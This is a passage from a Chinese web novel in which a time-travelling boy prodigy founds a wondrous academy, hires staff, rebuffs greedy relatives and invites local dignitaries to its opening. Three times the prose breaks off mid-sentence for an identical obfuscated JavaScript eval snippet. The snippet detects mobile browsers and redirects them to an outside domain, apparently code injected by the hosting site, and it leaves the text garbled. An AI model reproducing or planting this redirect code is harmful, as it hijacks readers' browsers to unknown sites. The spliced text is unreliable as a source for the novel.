于是,等童启解决完学生问题,拿着满满当当的束脩放假回来,看到的便是近乎半个村的人都乌央乌央蹲守在了自家的门口处,一副看热闹的样子。 吓得他还以为是家里出了什么事,连忙挤了进去。 一问,才知道原来都是找自己的。 听着村长手舞足蹈的反复确认,童启哭笑不得,“是,他们说的县案首确实是我,但那书院是我师父的,我只是暂时帮忙管理。嗯,今年的徒弟已经收完了,再多教不下,您放心,我也是乡里的一份子,有需要帮忙的地方,定直言不讳。” 一番话,令村长喜不自禁,直拍着童启的肩膀,连称“好小子”。 这可是自己村里出来的第一个文化人啊! 而且还会源源不断带着更多的文化人过来! 假以时日,还怕他们村子里出不来当官的吗?怎么也得使劲儿笼络住啊! 感受到了村长出奇的热情,童启沉吟了一下,突然想起什么,“这样,正好我们书院如今需要一个帮忙看守大门、保护学生安全的人,薪资虽不算太高,一个月只有200钱,但管吃管住,待遇还算不错。如果村长有合适的人可以推荐一下的话,那便算帮了我大忙了。” 200钱,在大奉朝,确实不算太多。 可在这种村子里,却俨然已经是极好的工作! 看着周围一瞬间亮起的眼睛,村长连忙拦在众人面前,将童继本给拎了出来。 那人看起来不过三十多岁,但身高壮硕威猛,干练十足,隐隐有种行伍之气,可手上却拄着一根拐,走起来一颠一跛的。 村民们见到是他,争抢的心顿时绝了。 “若是别的,我没准还真不好说,但若只是看看大门,保护学生什么的,你继本叔绝对可以!”村长激动的紧拉着手里的人,生怕童启会嫌弃,道,“你别看他腿有点毛病,但以前可是正儿八经上过战场的!有一把子力气!且不必给他薪酬,他家里人都死绝了,只剩他一个,只要管吃住就行!” 身为沧澜村的人,童启自然听说过童继本的情况。 他家世代捕猎为生,前朝战乱,村子里好几次遇到山匪,都是这童继本家里的人带着钢叉保护的村民,但可惜没熬到新朝,便都死光了,独留童继本一个,等他从战场受伤回来,又瘸了一条腿,去给人做工搬东西,哪里都无人收,一来二去,就熬到了现在,基本上相当于村里的五保户,属于村长最头疼的问题。 童启打量两眼,直接敲定了下来。 “若是继本叔,我自然放心。但不给钱肯定是不行的,这样吧,一个月薪资还是200钱,管吃管住,若继本叔心里实在过不去,平日里可以多帮着我做点其他的事,管理管理学生的课间操,帮他们锻炼一下身体之类的,如何?” 童继本连忙应下。 童家二嫂子站在旁边,看着童启一顿安排,早激动的不行,不等他们话音结束,便连忙上前争抢道,“哎呦呦,你可别忘了你二嫂子家啊,启儿,咱们才是真正的打断骨头连着筋呐!你富贵了,可不能不管我们这些穷亲戚!” “您是……” 童启有些陌生的看着来人,见到一旁的童母连忙摇头,便知晓不是什么好的关系。 “我是你二舅母啊!你忘了,你小时候我还抱过你呢!” 旁边的村民冷笑道,“什么二舅母? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792120|158154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黄鼠狼给鸡拜年才是真的!童小子,不必搭理这人!上次你母亲去他们家借钱给你买药,还被她骂喂了狗也不便宜你吃呢!” “呸,你是谁,敢挑拨我们的甥舅关系!” 二嫂子跳起来,恨恨的呸了一声,村民们顿时哄笑一片。 童启眼神微冷,没有说话。 “我们家的事,就不劳烦各位操心了,你就是启儿?”一个身穿长衫,脖子上围了一圈兔绒的中年男子走了出来,上下打量了一通,表情严肃,看起来,估摸着就是所谓的“二舅”。 “正是,不知有何贵干?” “听说你在沧澜山开了所书院?你两个表弟正好到了启蒙的年纪,有机会跟你师父说一声,一起收了罢,束脩少不了他的。”张贵颇为自傲的说道,一点没有求人的模样。 在他看来,一个十岁的小孩子罢了,能做得什么主?装模做样,终归还是他那背后的师父想要借机扬名罢了。 能将童启教成县案首,那他家的两个孩子一定也行。 而他儿子还远比童小子嘴甜哩,说不定哄一哄,那什么书院就成了自己家的了。到时候卖出去,不比留在童小子这蠢孩子手里强? 明显的轻蔑态度,令童启有些好笑,他客客气气道。 “抱歉,家师已经离开伊川,归期未定。” “啧,怎么这么不赶巧?那算了,你先带着启蒙也可以。” “我今年学生已经收够,如果明年想来,可以到时候参加书院的考试。” 一连几个要求都被驳回,张贵这才反应过来,童启是想要拒绝,登时就拉下了脸。 “什么意思?你这是不听我的话?那什么高人知道你如此不孝,忤逆长辈吗?” 读书人最怕名声不好,张贵故意将这大的罪名直接搬出,想看童启害怕的模样,可还不等童启回应,一旁的沧澜山村民已经皱着眉围了上来。 “怎么着,你是想欺负我们村子里的人?” “我呸,还忤逆长辈,你算哪门子的长辈?童小子是我们童家的人,他的长辈是我们童家的祖宗,跟你有什么干系?” “就是就是!” “童小子别怕,这可是在我们沧澜村,他算个什么东西?” 张贵被沧澜村村民们怼的步步后退,见童母和童启皆冷静的站在一旁,没有任何维护的意思,顿时咬咬牙,不敢再言,悻悻的拉着自己媳妇离开了。 走之前还撂下话来,说会再来。 童启冷哼一声,没有理会,家家有本难念的经,没几个极品亲戚,那还能叫正常的东南亚家庭吗?反正到时候他们就搬到学院里去了,也遇不到,何必在意? 且说另一边,童启简单的告知了学院后续的计划,令所有学生回家整理东西。 分发下来的物品,自然也被几位学生家长所看到。 绸缎庄汪家和全胜镖局刘家皱着眉头聚在那堆东西旁,深感诧异。 “这便是那童案首所谓的校服?做工倒是精致,可这质地……摸起来不似绸罗,也不似丝麻,且上面的印花也不是刺绣,倒像是被人凭空画上去似得,怎么做到的?” “还有这钥匙,我走南闯北护送了那么多东西,还是头一回见到如此精巧单薄的模样,得是多久的锁匠才能做到如此工艺?也太神奇了些!” 8. 第8章 【叮,声望值+29。】 系统提示音的突然响起,令童启有些茫然。 不过不重要,他现在更需要面对的,是来自家里人的疑惑。 “启儿啊,他们说的那什么县案首到底是怎么回事?你怎么突然就要开什么书院了?还要雇佣继本兄弟?你哪里来的钱?” 童母抱着小女儿,将童启拉进屋内,忧心忡忡问道。 没办法,他只得将在王举人那里说过的故事再次重复了一遍。 “竟有这样的奇事?哎呀,你该早点告诉我的!这样的神人,难怪你才学了一个月,就考上了县案首,若是再久一些……” “母亲!”童启连忙打断,小心翼翼的关上门,看了看四周,压低声音道,“还请以后不要告诉其他人,我只学了一个月的事,您也知道,师父的来头有点神秘,我怕被有心人盯上,会因此受到嫉恨……” “我懂,我懂!” 童母敬畏的拿起香,点燃,朝着四方土地恭敬的叩拜了一阵,再三承诺绝对不会将此事告知给任何人,就连童父也绝不透露。 童启这才放下心。 “至于那些雇佣的钱财……” 他将收来的束脩全部平摊在床铺上,展示给童母看。 实际上,他收的学费价格并不算高,和伊川县大多数的私塾价格是一样的,都是五两银子一年,但因为包吃包住,所以每个人还要额外再交五两银子的住宿费和餐饮费用。扣除吴韧家里有点问题,掏不出钱来,其他学生基本上都交的很爽快。 四个十两的银锭闪闪发光,让从没见过这么多钱的童母一阵眩晕。 “这……这么多,都是给咱们的?” “嗯,除了需要留下一部分作为书院的水电费固定开销以外,其他的,还请您帮忙收起来,暂时保管。” 他将希望全家一起搬到书院去住的事告知给了童母,娓娓劝道。 “其实也不仅仅是为了教学方便,还有着安全问题,您想想,我虽拿下了县案首,但终究年龄尚小,每日上山下山的,万一被拐子盯上,咱们孤儿寡母,谁是对手?再说小淳如今也到了启蒙的时候了,与其让他留在村子里跟着孩子们胡闹,还不如让他住在书院里,每日耳濡目染,也更利于其以后的读书之道。” “可是你父亲还没回来,若我们都走了,等他回到家……”童母有些犹豫。 虽说当了县案首的儿子,话语权已经大大增加,可比起童父来说,她更习惯于遵从丈夫的权威。 “那也没关系啊,”童启浑然不觉,“大不了跟邻居王婶说一声,若遇到了,转告一下,让他去书院找我们。” “可这样……好吗?我不过一个妇人,去了也帮不上什么忙,反倒添乱……” “怎么会呢?母亲,您如果去的话,我可是打算让您担当起书院的【钱粮官】呢,您也知道,我对这些经营俗务并不擅长,万一被人骗了……而且我还得负责教书等事,实在是分身乏力,正需要您的帮忙啊!” “我可以吗?”童母惊异道。 “当然了。”童启认真的回答。 他可不希望童母一辈子只是生孩子、带孩子这样循环往复的生活,在他的记忆中,童父常年在外走镖,很少归家,童母除了照顾他们几个孩子之外,便是日日夜夜担忧着童父的安全。若能换个环境,转移一下注意力,未尝不是一件好事。 童母听完,低头思索着。 一旁的童淳听不大懂哥哥和母亲的对话,但他知道,书院是读书的地方,而哥哥最喜欢的,就是读书,于是便跟着嚷嚷道。 “读书,读书!” 童母看看几个孩子,再看看床上放着的几枚银锭,终究还是同意了。 “好吧,那我就暂时帮你理一理这些。” 有着童母及童继本的上山帮忙,书院的管理人员一下子多了很多,但还缺一个最重要的,那就是厨娘。 古代像这种专门的技术人员,都属于世家大族私藏的人才,很少外流,因此要想找,只能去县上雇佣。 可雇佣一个厨娘一个月需要花费5000文左右,但买一个,却只需要十几贯! 且更知根知底,安全有保障。 童启不希望学院那么鱼龙混杂,于是便让继本叔跟着,一起去了趟人力集市。 这个时候的人力集市还不算太黑暗,大多都是官员抄家之后流放的家奴,或者是过于贫寒,不得不自卖自身的人。 听到童启要给书院买厨娘,人牙子立马眼睛一亮,连忙推荐道。 “巧了不是,最近正好有两位抄了家的大人,他们府中的丫头都还算是有点本事的,您看您想要哪一位?这个年轻貌美,是太太的陪房,各样的餐点美食都会做,只要二十贯!另一个年龄就有点大了,今年三十五,还带着一个拖油瓶小丫头,但她家丫头长得还算不错,养大点再卖出去,或者当作妾室,也不算赔本。你若要的话,十五贯带走。” 一旁的继本叔闻言皱紧了眉头,“什么人竟要十五贯?你莫乱喊价格,打量我们不知道市价吗?你当自己在跟谁说话?这可是本地的县案首,再胡咧咧,小心带你去见官老爷。” 一听和官沾点儿边,人牙子顿时不敢再乱言,只捧着笑道,价格什么的,可以再商量。 童启终究还是不太适应这种把人当作牲口买卖的场面,因此没多说什么,只让请两个人出来看看。 不多一会儿,两位厨娘便被人带了出来。 正如那人牙子所说的,一位年轻貌美,一位长相普通,倒是身旁带着的那个小丫头明显更好看一些,可惜年纪极小,看起来大概也就7、8岁的样子,相当造孽。 他看了一下两个人的手,还算干净,又简单问了几个关于做饭的问题,然后便下了决定。 “就第二个吧,她可以带着小姑娘一起生活,但必须得自己照顾,书院里人多,不准乱跑吵闹,也不准嬉笑惹事,如果能做到的话,就签约,做不到,那就算了。” “能做到,能做到,您放心,我一定好好管束她!” 被选中的妇人忙不迭道,连忙拉着小姑娘一起下跪道谢。 天知道,她都已经做好了和女儿一起被卖到腌臜之地的准备了,没想到峰回路转,竟还有书院这种清贵好去处,自是感恩不尽。 童启避开两人的跪拜,让继本叔将她们搀扶起身,在县里采购了一些做饭用的米面油蔬菜之类的,这才带着几人慢悠悠往书院回。 一路上,小丫头都非常懂事,帮着拎各种东西,乖巧不已。 童启将童母、妹妹、厨娘及她的女儿小花,一起安置在宿舍楼二楼,而他、继本叔还有学生们则住在一楼。楼层之间用一个木门隔开,作为遮挡,互不打扰。 王厨娘眼皮活,上来就帮忙接过了童母手中的东西,帮忙搀扶着。 几个人拎着包,进入干净的宿舍楼内。 小花仰起头悄声询问自己的母亲。 “娘,这就是我们以后住的地方了吗?好漂亮啊。” 童继本和王厨娘等人,望着四周,难掩震惊。 他们都算是见过市面的人,原本王厨娘是给五品之家的官员做的饭,而童继本随军时,更是王府也闯过几遭,但两人均未见过如此漂亮的住所。 澄净得琉璃窗,光滑无比的地板,明明是冬日,目光所及之处没有任何烟碳,可屋内却暖洋洋,如同春夏!床铺平整崭新,水龙头一拧开,便能够自动出水,冷热交替,这究竟是什么神仙洞府啊? 童母忍不住拉紧了自家儿子的手,压低声音问道,“这便是你师父要你暂时管理的书院?也太……” 太奢华了吧? 童启笑而不语,任由各自猜测,消化着情绪,将钥匙一一分配给众人,重点说了一下几人的职责事务,和需要注意的地方后,便任由他们自由摸索起来。 马上就要开学了,他的教案还没有准备。 线上文献数据库,靠着这几日“拜师故事”的余温,已渐渐攒够了声望值,可浩瀚如烟海一般的资料库,从哪一本书开始讲起,便成了新的问题。 他只能根据自己的经验,先简单捋出一个框架来。 几个学生已经考过几次童生, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792121|158154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以启蒙书籍是暂时不需要了,倒是四书五经、三传三史、诗词韵律之类的可以再系统的带着整理一遍;律法案例,随着后期讲策论的时候慢慢引入也可以;农桑镓作,偶然可以带着体验一番,剩下的便是体能锻炼、社会实践等,见招拆招,能塞再塞。 童启打算先按照习惯,从论语开始,重新给大家打基础,那么,东汉何晏的《论语注疏》、朱熹的《四书章句集注》、以及刘宝楠先生的《论语正义》便成为了首要参考目标,剩下的,则按照自己能想起来的,有什么说什么好了。 他比对着资料库里的内容,认真的做着教案,边学习边批注,密密麻麻整理出了几大页,直到半夜才算结束。 第二日,几个学生家长天还未亮,便起来给自家儿子收拾起东西来。 虽然刚得知住校的消息时,他们十分不解,但被那校服和钥匙震住之后,便纷纷没了反对的勇气。 住校就住校吧,反正还能更专注的读书。 至于为什么不能用小厮,为什么不能随意探视,为什么一个月只能休三次?既然书院都规定了,肯定就是有原因呗,遵守便是了。 没错,就是这么能进能退。 几个少年郎穿上校服,系上发带,那叫一个仪表堂堂,玉树临风,走在路上,回头率更是极高。 一眼便能望出来和寻常私塾的不同之处。 刘卜温和汪启元凑在一个车厢里闲聊着。 双方家里其实并不太熟,自双双进入华夏书院之后,走动反倒是频繁了起来。 “这衣服是真的保暖又柔和,比丝绸还好穿。你们家研究出来是什么料子了吗?” “不确定,有点像是南边的吉贝,听说产量极少,价格很贵。就是我爹,也只是听闻,并没见过。” “嚯,你说这书院山长,到底是何许人也,竟然连这么珍贵的东西都不放在眼里,随随便便就拿出来给咱们做衣服?” “是校服。”汪启元纠正道,“你没听说吗,只要是书院的学生,都有。我感觉在他们眼里,这东西好像并不算什么值钱的物件,不过也有可能是重视咱们,反正我挺喜欢的。光是这一身衣服价值就远超过那五两银子的学费了,足见这书院并不是单纯图钱,而是认认真真想教好学生。” “是极,我也感觉,能花费这么多钱建造那样一所书院的,不像是什么沽名钓誉的人。” 孩子们暗地里谈论着,两位家长将他们亲自送进宿舍楼,也跟着再次感叹了一波。 他们深感惊奇的摸了摸那发热的暖气片,屋外三月正是寒冷的时候,可屋内却如同春夏。 “你见过这样的神迹吗?” 汪家家主偷摸问向一旁的刘家家主。 “没有,别说咱们这里,便是开封,也没有这样的。” 他们惊叹于那干净的厕所和洗漱台,更惊叹于那漂亮光滑不知何种材质的地板砖,原本的担忧,也渐渐变成了艳羡。 好小子,这要是他们当年学习的时候能有这种条件,早就高中了,何至于用得着苦兮兮的等着下一代来光宗耀祖? 连刘家汪家如此有钱,都这样想,更何况几位农家子的家长们? 他们更是连脚都不敢踏入,只站在门口惶惶恐恐,不断感激着。 看着父母的卑微怯弱,常仕进和杨舟万心中忍不住一酸,也彻底明白了童启那句,‘不努力,便愧对于如此好的学习环境’的说法。 几个学生铺好床之后,迅速进入教学楼,准备上课,而童启的系统也恰时发布了两个任务。 【叮,主线任务-教学:请为你的学生们讲述第一堂课,并得到几位学生崇拜的目光吧! 成功:奖励抽奖一次 失败:物理抹杀】 【叮,主线任务-扬名:请邀请一位伊川县知名人物前来参加两日后的开学典礼吧! 成功:奖励抽奖一次 失败:物理抹杀】 睡眼惺忪的童启:…… 能不能别总是把物理抹杀挂嘴边上?吓得我瞬间瞌睡都没有了好不好! 压力山大啊! 9. 第9章 开学第一课,对于许多学院来说,都有着十分重要的意义。 旨在明确学习目标,展示教学理念,了解学生情况,传达学校文化。 每年寒暑假,电视上甚至都会联名播放相关的综艺节目,强行让所有学生观看,并撰写观后感。 虽然现在童启已经穿越到了大奉朝,但对于他而言,生在信息大爆炸的时代,头顶着万古圣贤的教诲,经历过千年历史的浩荡洗礼,肩膀上的重担总不可能是平平凡凡,和其他私塾一样的老调重弹。 华夏书院第一讲,理应掷地有声。 铿锵明志才对! 明亮的教室内,五名十几岁的少年规规矩矩挺坐在桌椅内,安静而乖巧。 年仅十岁的童启站在讲台上,因为身量矮小,尚且够不到讲桌的高度,只得搬了个小木凳子放在脚下垫着。 明明是略显滑稽的画面,可在场的人却没有一个笑出声。 几位家长送完学生后,并没有立即离开,而是站在教室外,试图观摩。 他们很好奇,童启的第一堂课会讲什么,更好奇被“神秘大佬”收为徒弟,并将如此华丽的学院交给他管理的人,到底会有何神奇之处。 于是,在众人的期待之下,童启手一背,率先问了大家一个问题。 “读史使人明智,读诗使人灵秀,数学使人周密,科学使人深刻,伦理使人庄重,逻辑修辞使人善辩;凡有所学,皆成性格。(注1)那么,我想问一下,在座的大家,是为了什么而读书?又觉得我们华夏书院想要培养出来的是什么样的学生呢?” 这话一问出,在场学生皆是一默。 常仕进颇为不解,率先回答道,“读书自然是为了科举,榜上有名!至于学院想要培养出的学生,我觉得应该是像小夫子这样,在县试中夺得头魁的人?” “不,我觉得读书是为了学习圣贤的处世之道,所谓修身齐家治国平天下,学院想要培养的,应该是这类的人?”刘卜温持反对意见。 吴韧和杨舟万沉思不语。 汪启元想了想,灵机一动取巧道。 “我看书院两侧楹联,写的大气磅礴,尽显志向,皆与内秀德行有关,想来书院要求的学生应与这一样,进可入朝堂,金榜题名,退可守江山,过好自己的人生?” 童启笑着摇了摇头。 “你们回答的都对,可也并非我问出这题的真正含义。” 他拿起粉笔,转过身,在黑板上写下几个大字,窗外的汪平川和刘明皓跟随着他的动作,一个字一个字的读出来,只觉石破天惊,内心震撼,激荡难言。 只见上面写着:为天地立心,为生民立命,为往圣继绝学,为万世开太平。(注2) 横渠四句一出,在场众人皆神魂巨颤,呐呐不敢言。 虽然童启很想用别的话语去阐释,可放在这个时代之下,他思来想去,最适合表达他们华夏书院学生精神追求的,还要属张载先生这句话。 “我知晓,在座的各位都是奔着科举而来,这本身并没有错,也非常符合大家读书的初衷与追求。我并不否认,这也是我们未来一年的主要目标,更是读书科举的最大动力。但身为一名读书人,若问到为何读书,读书的最高追求是什么,我还是希望在座的各位能谨记这四句话,使肩膀上的责任都能够更沉重一些。不单单只是为了个人的家族和命运,也多将目光,放在千千万万的黎民百姓,与华夏同类上。” “能力越大,责任越大。千百年的传承,从来靠的都不只是一个人,中华的崛起,也不仅仅只是帝王一人之事。” “我不求华夏书院出去的每一位学生都高居庙堂之上,也不求大家闻名于诸侯之间,流传千古,但愿各位不论盛极一时还是举步维艰之日,都不忘初心,切记自己是从普罗大众、人民群众之间走出去的!莫将所学的东西当作利剑反刺向百姓,而是尽可能帮助着更多的人生存下去,推己及人、心念太平,这便是我华夏书院最骄傲的学生了!” …… 旭日的阳光照耀在童启的身上,如万丈之高,千钧之重。 直到很多年后,吴韧和汪启元都不会忘记那日的清晨,自己师父站在讲台上的那一番话。 即便他们已经相继成为大奉朝最年轻的阁老之一,见过无数人才,历经过无数风雨。 可依旧会在每次的选择之中,坚定不移的倒向平民。 不是没有被利益的权衡所动摇过,而是—— 他们骄傲自己是从华夏书院毕业的,第一批学生。 教学楼外,汪平川忍不住长叹了一口气,摆摆手,悄悄拉着刘明皓一起离开,走到半路,终于忍不住感叹道。 “这教的,好似不是科举当官之心,而是……屠龙之志啊!” 吓得刘明皓连忙上前捂住他的嘴,不敢再让他说下去。 “别胡说!你不要命了?” 两个人谨慎的看看左右,见没人听到,这才疾步离开,双双默契的隐下了此事,不再提及。 其实童启说的这番话并没有什么歧义,也非常符合当下儒家所提倡追求的“仁爱”与“民重君轻”的想法。可他忘记了自己从小生在红旗下,长在春风里,长期接受的思想使他本能的将平民与帝王、将相放在同一个水平面上去考量。 这便已经触及到了君权、父权的威严,掀翻了贵族所谓的人种之论。 不是只有豪门世家望族,才有资格担忧天下,而是这天下,本身就在千千万万个平民百姓手中,共同建造。 骤然接触这种思想,令汪家家主和刘家家主仓惶而不知所措。 可学生们却感觉双目骤然开阔,毫无拘谨之限。 将整个学院的核心方向彻底定下后,童启简单说明了一下学院的课程安排,这才开始讲起正课来。 目前书院只有他一位老师,因此大部分的教学重担都落在了他一个人身上。 总不能一个人一讲一整天吧? 所以只好采用自习和讲课双辅助的方式。 上午主讲论语,下午主讲史书和诗经,顺带着科普一点法制、日常科学之类。 刚开始时,童启讲的还有些拘谨。 毕竟虽给不少学生讲过课,但那都是现代的学生,古代的,还是头一回。但渐渐的,他看着底下学生们专心致志、求知若渴的目光,不由放开了心,开始大讲特讲起来,有时候说的顺口了,连宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792122|158154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝以后的不少故事都一起说了出来。 一开始,几位学生也没有太在意。 毕竟古往今来,解读论语的人实在是太多,关于论语的注疏,也可谓"汗牛充栋"。 可听着童启深入浅出、博观通古的讲解,几个人面上不显,心里却是越听越震撼。 尤其是汪启元。 他是知晓童启有点东西的,但也没想过对方竟会如此博学! 很多典故出处,他甚至听都没有听过! 按理说童启今年才不过十岁,即便是三岁就开始读书,也不可能比他们学习的时间还要久,可对方却像是把论语这本书内内外外都吃透了一般,闭着眼睛,也能够将一些释义信手拈来。 下方的学生们最初还能勉强跟得上,到了后面,就不得不拿起笔来,跟着做起笔记。 一堂课结束,额头上已纷纷冒了汗,大脑中昏昏涨涨,倒像是强行学习了一周般。 远超平日所得。 经此,几位学生算是彻底心服口服了,嘴上也不自觉改掉了称呼,统一叫起山长来。 刘卜温难言的看着书本上自己的批注,不断的揉着额头,“老天爷,我这才知道,自己和山长之间隔了到底有多远,这讲述的可不仅仅是释义,还有古往今来延申出的各种层面的典故事例,也太可怕了。” “是啊,简直就像是上下几千年的历史,他尽在掌握之中一般!” “什么时候我们才能到山长这种水平啊?这就是县案首的实力吗?” “怪不得山长说他一个就够教我们的了,我感觉不少秀才举人的水平也不及如此吧?” …… 一番交流下来,几个学生之间的关系迅速拉近,而童启,则在众人心中,被神话的更加厉害了。 伊川县,县衙。 当童启拜师的消息传到县令耳中的时候,已经是王举人宴客过去好几日。 县令章明浩翻看着童启的县试试卷,大为惋惜。 他本人出身于开封章家,多少也算是书香门第,虽是庶出旁支,但好歹也是正儿八经考上过进士的,因没什么背景,这才被分配到伊川做县令。本身性格佛系古板,懒怠理政,所以并不怎么干涉过本地的事务,唯一爱好的,便是人才。 今年县试,好不容易看上了一个叫做童启的孩子,还以为对方会一鼓作气,拿下小三元,为伊川县增光添彩。 可没想到才几日,便听到了整个县城都在传对方被高人收为徒弟还要开学院的事情。 这一下,可把伊川县令急坏了。 “荒唐,实在是荒唐!这小子,到底知不知道自己在做什么?府试不考,去折腾什么书院,真是枉我将他点为了县案首!” 一旁的书簿有心附和,跟着进言道,“是啊,据说他收的学生,还都是一群乌合之众,尽是落榜的商人之子,寒门之士,好不容易有这样的成绩,真是愣生生被自己给糟蹋了。” 章明浩一拍桌子,越想越气,派着衙役前去请人。 “去,让他来县衙一趟!我不能就这样眼睁睁看着他被带坏了,什么得道高人?要我看,就是骗子才对,开书院有什么重要的,难道就只差这几日吗?” 10. 第10章 且说伊川县令听闻童启要开书院之事,怒不可遏,正打算让衙役去请他时,突然,县衙外有人通报,说是柏老爷来了。 吓得章明浩连同县衙书簿一起忙起身相迎。 直接将此事丢在了脑后。 你道这人是谁? 乃如今威名赫赫守卫西北的柏大将军之父,柏盛青! 前朝末年时,他曾带领着全家青壮一起联合抵抗契丹人,守卫住了河东等大部分地区的百姓,大奉朝建立后,更是官至户部尚书,极其受先皇信重。若不是妻子、儿子相继去世,苦痛难当,身体渐差,说不定再往上冲一冲,还能够成为阁老呢! 对方于去年冬回到伊川老家,闭门不出,休养身体,多少豪门望族前来拜访,皆不得见,这还是头一次来县衙,也不知是为了什么事,倒是把衙门里的几人给吓了一大跳。 急忙忙命人端上好茶来,一个胡子稀疏,精瘦锐利的小老头大跨步走了进来。 “柏老。” 伊川县令连忙行了一个学生礼,还未弯下腰,却被对方提溜着手臂,直接扶了起来。 “章大人,不必多礼,我来是想问一下,今年衙门里的春耕安排是什么,听说其他县都已经开始准备扶犁试耕了,为何咱们伊川还没发布任何通知,是哪里有问题吗?” 历来春耕,都属于朝政大事。 每个县令更是需要早早的组织仪式活动,准备农具与耕牛,制定农事安排。 柏盛青很久没归家,本身并不太想要插手地方事宜,然而等了又等,三月都快过半了,伊川县竟然还未有任何动静。 底下的佃户问到府里来,柏盛青这才不得不登门拜访,询问情况。 章明浩蓦的一慌。 他哪里懂这个? 每年这些事,都是底下的书簿帮他代替办理,今年出了什么问题延迟了,他也不知道啊? 于是只得将求助的目光,投向一旁。 书簿心底暗骂一声,硬着头皮上前答道,“哦,是这样,今年县里的农具和耕牛还未准备齐全,我们尚在修补统计中,等统计完毕了,马上就会开始筹备,柏老爷还请莫急。” “对对对,就是这个原因。等筹备好了,马上就会开始的。”章明浩连忙附和道。 “没准备?”柏盛青眉头紧皱,显然并不打算如此轻飘飘的越过此事,“那这样吧,我府上还有一批农具,可以先借给衙门用着,春耕不可耽误,还是早点开始比较好。” 一下子被架在这里,章县令进退两难,只得点头答应。 这可把旁边的书簿给急坏了。 他不清楚此事,自然不知道这背后涉及到的利益群体有多广。 本来,每年县衙里的耕犁农具支出费用就有限,即便借给老百姓使用,也很少有还回来的,毕竟伊川县里有地的,就那么几家,大多数都挂在乡绅豪族的名下。今年开春,衙门刚举行了县试,正是缺钱的时候,因此他暗地里将一批农具高价卖给了好几家乡绅氏族。 反正章县令也不管这些事,到时候糊弄糊弄就算了,也是给底下的人一些油水。 谁料到半路竟然冲出个柏盛青,一下子打乱了他的所有计划。 这令书簿又气又怒,好不容易吞进肚子里的银子只得又退了回去,心底则暗暗嫉恨起了柏家。 而与之相同的,还有书院这边正岁月静好的童启。 如今教学已经走上了正轨,可开学典礼上的【知名人物】却还没有确定下来。 怎样才算是知名?这个问题,令他发愁不已。 绸缎汪家和镖局刘家好歹也算是伊川著名的商户吧,知名吗? 伊川县令掌管一地之地,算是父母官,知名吗? 如果这些都不算,那只能再往上看看还有什么是妇孺皆知的伊川名人了,于是,他从吴韧等人的口中,听到了柏盛青的名字。 两朝元老,曾官至户部尚书。 退休致仕,儿子还是大将军。 牛掰!非常符合知名的定义了。 也发个邀请函,万一请到了呢,他这个任务不就完成了? 可什么才能够吸引的到对方过来呢,他想了想,只得将上次抽奖抽到的横线笔记本连带着一个保温杯一起送了过去。 “你说谁递的帖子?” 柏盛青那边收到邀请函后,十分惊讶。 他是听过童启这孩子的名字的,毕竟才十岁,就已经考上了县案首,道一句少年得志也不为过,对方拜师的故事,传的沸沸扬扬,他也有所耳闻,但没料到的是,对方开书院,竟然会请他去现场观礼? 这么自来熟的吗? 也太不知礼了些? 管家恭敬的将邀请函及一个包装精美的杯子、本子递给了柏盛青,道是对方一起送过来的。 他疑惑的拆开,看见那纸张洁白如雪,每段距离之间都隔着一条线,整整齐齐,不像是画上去的,倒像是直接印上去的一般。 杯子也奇奇怪怪的,不似铁做的,也不似看过的任何一种材质。 热水倒进去,竟能保持大半日的恒温? 这是什么技法? 这小子……有点东西啊? 柏盛青被挑起了一些兴趣,索性无事,便答应了下来。 章明浩更是本就好奇童启的想法,闻言,也应允而至。 于是,当汪家家主和刘家家主等人以为只是普通的拜师宴,乘着牛车,慢悠悠到达沧澜山山脚下的时候,恰遇到伊川县令和柏盛青一同到达,顿时吓得魂飞魄散,腿一软,当场跪下。 “县令大人,柏老。” “欸,这是做什么?你们便是这书院的学生家长吧?快快起身,莫误了良辰吉时才是。” 柏大人毫不在乎的摆摆手,携着章明浩一起率先往山上走去。 没办法,两个人只得亦步亦趋的跟上,同时对童启的能力背景,更加提高了几分。 连这两位都能请到……也太厉害了吧? 【叮,主线任务-扬名已完成。】 系统的提醒,令童启一惊。 他也没想到,随手一邀,人竟会来的这么齐。 整了整衣衫,他不卑不亢的上前和几位大人打招呼,先介绍了一下今日的宴席情况,然后便邀请两位一会儿上台也跟着讲几句。 头一次在这种场合下讲话,猝不及防。 可开阔的视野,书香气十足的校园,学生及家长濡慕的目光。 令章县令被高高捧起,面子得到了大大满足,因此也象征性的配合着说了几句好话。 结束了入学仪式之后,两人在童启的引导下,慢悠悠逛起书院来。 章县令这次再问出心中的疑惑,语气便不复前几日县衙里的那般冷厉,而是带着些许好奇。 